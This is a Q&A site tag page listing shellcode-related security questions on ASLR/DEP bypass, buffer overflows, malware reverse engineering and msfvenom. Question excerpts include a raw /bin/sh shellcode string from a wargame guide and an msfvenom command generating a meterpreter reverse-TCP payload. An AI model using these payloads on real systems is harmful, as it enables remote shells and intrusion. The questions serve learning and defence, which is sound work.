Questions tagged [shellcode]
In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode.
19 questions
129
votes
2
answers
106k
views
How do ASLR and DEP work?
How do Address Space Layout Randomisation (ASLR) and Data Execution Prevention (DEP) work, in terms of preventing vulnerabilities from being exploited? Can they be bypassed?
- 136k
19
votes
2
answers
25k
views
How "leaking pointers" to bypass DEP/ASLR works
I was wondering if anyone could give me some clues on how "leaking pointers" to bypass DEP/ASLR work. I read here:
The only way to reliably bypass DEP and ASLR is through an pointer
leak. This is ...
- 509
20
votes
3
answers
8k
views
Is it possible to write shellcode in C++?
Usually I write assembly programs and then dump their contents to get the shellcode. What I was wondering is whether I could write a C++ program instead of assembly, then dump and use that instead of ...
- 309
4
votes
3
answers
5k
views
Are there any tools that focus on shellcode analysis?
Shellcode presents certain challenges for disassembly. It often self-modifies, jumps to the stack (where the shellcode will likely be placed), and relies on certain unusual tricks that standard ...
- 136k
3
votes
2
answers
3k
views
A process called ./watchbog is mining crypto currency in our server. How do I stop it? [duplicate]
I have found this question below but I need some more clarification that's why I am writing again.
I have a process called “watchbog” that is completely hogging my CPU and I don't know what it is
...
- 139
19
votes
1
answer
3k
views
Could someone explain parts of the FBI's Firefox 0-day?
Here is the full Javascript (and related iframes) that the FBI apparently injected into all "Freedom Hosting" pages in the course of their recent takedown.
http://pastebin.mozilla.org/2776374
The ...
- 664
15
votes
1
answer
5k
views
What does the NSA's Recently Leaked "The Equation Group" Files do?
First Hand Details
TEG (The Equation Group) is NSA's team of hackers who'd write code to exploit systems worldwide. Some of the private files were recently dropped by a group called Shadow Brokers and ...
- 1,600
7
votes
2
answers
5k
views
Do I always have to overwrite EIP to get to write on the stack in a buffer overflow?
Do I always have to overwrite EIP to get to write on the stack in a buffer overflow? How's the memory organized? I can't find a proper graph with google
- 509
6
votes
3
answers
2k
views
What methodologies are useful when reverse-engineering malware / shellcode?
Whilst I'm familiar with reverse engineering techniques from a technical standpoint, I've never found a good methodology for approaching and dissecting malware / shellcode. I've found hundreds of ...
- 136k
4
votes
1
answer
2k
views
Is it possible to use the Linux "echo" command maliciously?
While testing a web application today, I came across a function that passed arguments to dig in linux terminal. After some fiddling about I was able to pass the echo command using pipes and echo my ...
- 397
3
votes
1
answer
11k
views
Stack buffer overflow confusion
I am trying to dig deeper into the nuts and bolts a stack buffer overflow using the classical NOP-sled technique.
Reading some articles and watching videos brought me to a confusion which can be ...
- 1,560
2
votes
0
answers
274
views
Shellcode different on guide
I followed a guide to do narnia2 of overthewire and the shellcode generated by them was:
h\x01\x01\x01\x01\x814$ri\x01\x011\xd2Rj\x04Z\x01\xe2R\x89\xe2jhh///sh/binj\x0bX\x89\xe3\x89\xd1\x99\xcd\x80
...
- 123
2
votes
0
answers
641
views
Stack overflow return addr
I'm trying to exploit a standard buffer overflow vulnerability in a program that uses strcpy() to fill a 200 char buffer, without checking boundaries, and compiled with -z execstack and -fno-stack-...
- 89
1
vote
0
answers
531
views
Shellcode Injection/Poisoning on Mobile Networks[GSM/LTE/CDMA-varaints]?
In the previous question(How do APN hacks work?) I have enquired about APN hacks but after reseaching more about cellular networks.
I wonder has anybody attempted Remote-code execution/poisoning,etc ...
- 131
1
vote
2
answers
2k
views
Shellcode doesn't execute despite correct address on EIP
I need to produce a presentation on buffer overflows for a college class. I managed to create a simple buffer overflow where i inject the address of a specific function on the EIP and the function ...
- 111
1
vote
1
answer
8k
views
MSFvenom format specifier
In msfvenom, what does it mean exactly when I specify the format to C or Python? And what is the format 'raw' for? I know, when the format is psh-cmd it runs in the command prompt, and when it is exe ...
- 163
1
vote
2
answers
322
views
The most secure way to allow downloading and installing an app on Mac, Windows, or Linux
I have been introduced to the anti-bash-script-piping stuff such as these:
Curl Bash Piping Wall of Shame (link broken)
Piping curl to s(hell)
Don't Pipe to your Shell
The hidden dangers of piping ...
- 694
0
votes
3
answers
3k
views
MSFvenom payload with dynamic options
I am using MSFvenom to export meterpreter's reverse TCP payload. While this works with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.6.131 LPORT=4444 -f -exe > ~/Desktop/...
- 1,300
0
votes
1
answer
3k
views
Are shell scripts / bash inherently less secure than other (script) languages such as python?
Are shell scripts / bash suitable for any kind of task as long as the developer(s) write correct, security bug free scripts?
Or are shell scripts / bash less advisable for some tasks such as parsing ...
- 784